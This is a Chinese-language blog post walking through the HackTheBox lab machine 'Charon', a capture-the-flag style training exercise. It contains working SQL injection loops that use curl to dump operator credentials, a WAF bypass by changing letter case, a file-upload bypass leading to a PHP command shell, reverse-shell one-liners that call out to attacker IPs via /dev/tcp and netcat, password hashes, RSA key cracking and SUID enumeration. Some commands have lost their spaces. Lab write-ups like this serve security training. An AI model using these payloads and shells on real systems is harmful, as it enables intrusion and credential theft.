freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

HTB:CHARON渗透测试
pony686 2022-07-21 17:08:36 130444
所属地 北京

HackTheBox-Linux-Charon-Walkthrough

靶机地址:https://www.hackthebox.eu/home/machines/profile/42

靶机难度:中级(3.5/10)

靶机发布日期:2017年10月7日

靶机描述:

Charon is definitely one of the more challenging machines on HackTheBox. It does not require any advanced techniques, however there are many subtle tricks needed at almost every step of exploitation.

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集:

1.端口扫描

nmap发现开放了OpenSSH和Apache服务。

1658393937_62d91551034db214ff05e.png!small?1658393938254

访问80端口,发现是一个cms界面。

1658393946_62d9155acc109135b58b3.png!small?1658393947659

翻了一下,没有可用的地方。

1658393953_62d91561da9453a605309.png!small?1658393954480

2.目录扫描

使用gobuster进行目录扫描

gobuster dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40

扫描发现存在cmsdata目录。

1658393964_62d9156c51af59b2e6c9f.png!small?1658393965005

访问一下,发现是一个登录框,测试几个弱口令没成功。

1658393972_62d915746cdd99f82d140.png!small?1658393973642

1658393981_62d9157d5365121448ef7.png!small?1658393982737

发现有一个忘记密码功能。butp抓包测试sql注入。

1658393991_62d91587389e0ac2da855.png!small?1658393992131

二、漏洞利用

3.sql注入

输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。

1658394002_62d91592277ffd978b0da.png!small?1658394003390


1658394009_62d915995d61e01e40c8a.png!small?1658394009963

使用limit进行判断字段。

1658394016_62d915a0d3f2d3e2e9bf2.png!small?1658394017487

1.脚本测试

使用脚本枚举出了可用的用户名。

for i in{1..1000};do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"email=a@b.c' or 1=1 limit ${i},1;-- -" | grep'<h2>' | awk'{print $5}' | grep-v"^with"||break;done

for i in $(seq 0 300); do
        payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
        curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
        done

1658394032_62d915b0623ef33b4d8b5.png!small?1658394034189

2.手工union联合查询Bypass waf

经过测试,发现在查到第4位的时候会出现报错。

1658394040_62d915b836142bafefef8.png!small?1658394041607

猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行测试,可以成功测试注入。

1658394050_62d915c20dee3371bc3fb.png!small?1658394051351

1658394057_62d915c9bfa3d7c4396d5.png!small?1658394060052

使用脚本探测那一列是电子邮箱的地址。

for i in $(seq 0 300); dopayload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php| grep -o '[^ ]*@b.com' done

1658394068_62d915d42b28eef0e6b19.png!small?1658394069832

1658394077_62d915dd357946e01f8c1.png!small?1658394078760


发现到了第四列的时候,出现了有关邮箱的格式。

1658394083_62d915e397157ee4e7f9a.png!small?1658394084677

使用脚本枚举数据库。

for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2

1658394100_62d915f47c8a9ec64a15b.png!small?1658394101671

使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。

1658394105_62d915f9d146bb8bc7b53.png!small?1658394106821

1658394112_62d916001075123650ec5.png!small?1658394113833

1658394119_62d916078e0de3b0f5273.png!small?1658394121227

联合查询获取用户名和密码。

1658394126_62d9160ee6e60df30dce5.png!small?1658394128405

查找管理员用户名和密码。

1658394133_62d9161558714a9657e0e.png!small?1658394134425

4.md5解密

super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8

1658394141_62d9161dbe47c9b9c7fe4.png!small?1658394143462

5.文件上传

成功登录之后,发现存在一个上传地址。

1658394151_62d9162798c562534ed27.png!small?1658394153694

对php格式的文件进行测试,发现不能成功上传。

1658394159_62d9162f366a10e079f6a.png!small?1658394160966

测试.php.jpg格式的文件进行上传,可以上传不能解析。

服务器通常通过三种方式过滤文件类型:

  • 文件扩展名
  • 内容类型
  • 魔术字节/MIME 类型

我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。

6.文件上传bypass

发现返回包,存在一个字段类似于base64加密的。

1658394166_62d91636c67cf408d8530.png!small?1658394168879

使用echo进行base64解密。

1658394173_62d9163dee200a975b19d.png!small?1658394174656

然后修改name格式,进行上传。

1658394183_62d916471c514e64ac3ec.png!small

不能成功上传。

1658394193_62d9165112e5cb6867fb9.png!small?1658394193802

然后先设置burp,接收响应包的内容。

1.修改前端代码绕过文件上传

将name修改为testfile1

1658394201_62d916598d247975dc0b6.png!small?1658394202193

然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。

1658394208_62d91660cc994426a1cb3.png!small?1658394209543

2.命令执行

在上传之后可以利用cmd去执行一些命令。

1658394220_62d9166cc1ecd5cd909a6.png!small?1658394222393

三、权限提升

7.使用bash反弹shell

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

1658394233_62d9167958102854c69b7.png!small?1658394234109

nc进行监听

1658394244_62d916849cd317e602ace.png!small?1658394245510

成功反弹shell。

1658394257_62d916915d9f09b254339.png!small?1658394259003

翻文件,发现在home/decoder目录下存在2个密钥。

8.使用nc下载文件

1658394274_62d916a28c98fcf1d4f85.png!small?16583942760031658394281_62d916a9e7fe44279ea16.png!small?1658394282646

9.密钥解密

1658394289_62d916b145c47a5c9e061.png!small?1658394291076

使用RsaCtfTool进行暴力破解

安装步骤:

(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)

1658394302_62d916be4be0eb18e81bb.png!small?1658394303859

成功解密。

1658394311_62d916c7c5bfd720e8d35.png!small?1658394312641

10.ssh远程登录

获取第一个flag(user.txt)。

1658394321_62d916d1d46e7541456c7.png!small?1658394326246

11、使用find命令,查找可利用的suid文件

find / -perm-4000-ls 2>/dev/null

1658394329_62d916d9f07e61897f67e.png!small?1658394332097

发现supershell可以利用。

1658394337_62d916e18113e602cf262.png!small?1658394339214

利用supershell成功读到了root.txt,成功获得了第二个flag。

1658394348_62d916ec3694391d6e68c.png!small?1658394350067

总结:

这个靶机难度是中等难度,但是给我带来了很多的知识点,也学到了很多。靶机的操作流程就是信息收集,从端口扫描到目录枚举,漏洞利用主要是sql注入,文件上传及手工union查询bypasswaf和文件上传的绕过。绕过之后进行反弹shell,反弹shell之后,翻文件,翻到了2个密钥,使用工具进行暴力破解,接着ssh远程登录,使用find命令查找可用的用法,然后使用其用法读到了root.txt文件的内容。靶机难度还是有的,也有很多新知识,建议有时间的小伙伴可以试试。

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 pony686 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
红队攻防演练
pony686 LV.6
公众号:亿人安全
  • 64 文章数
  • 427 关注者
Java安全之红队面试详解之servlet 内存马原理分析和POC编写和查杀
2025-03-25
记一次域内渗透实战之Cragty
2025-03-10
JAVA安全——红队面试常问问题之Shrio漏洞详解
2025-03-06
文章目录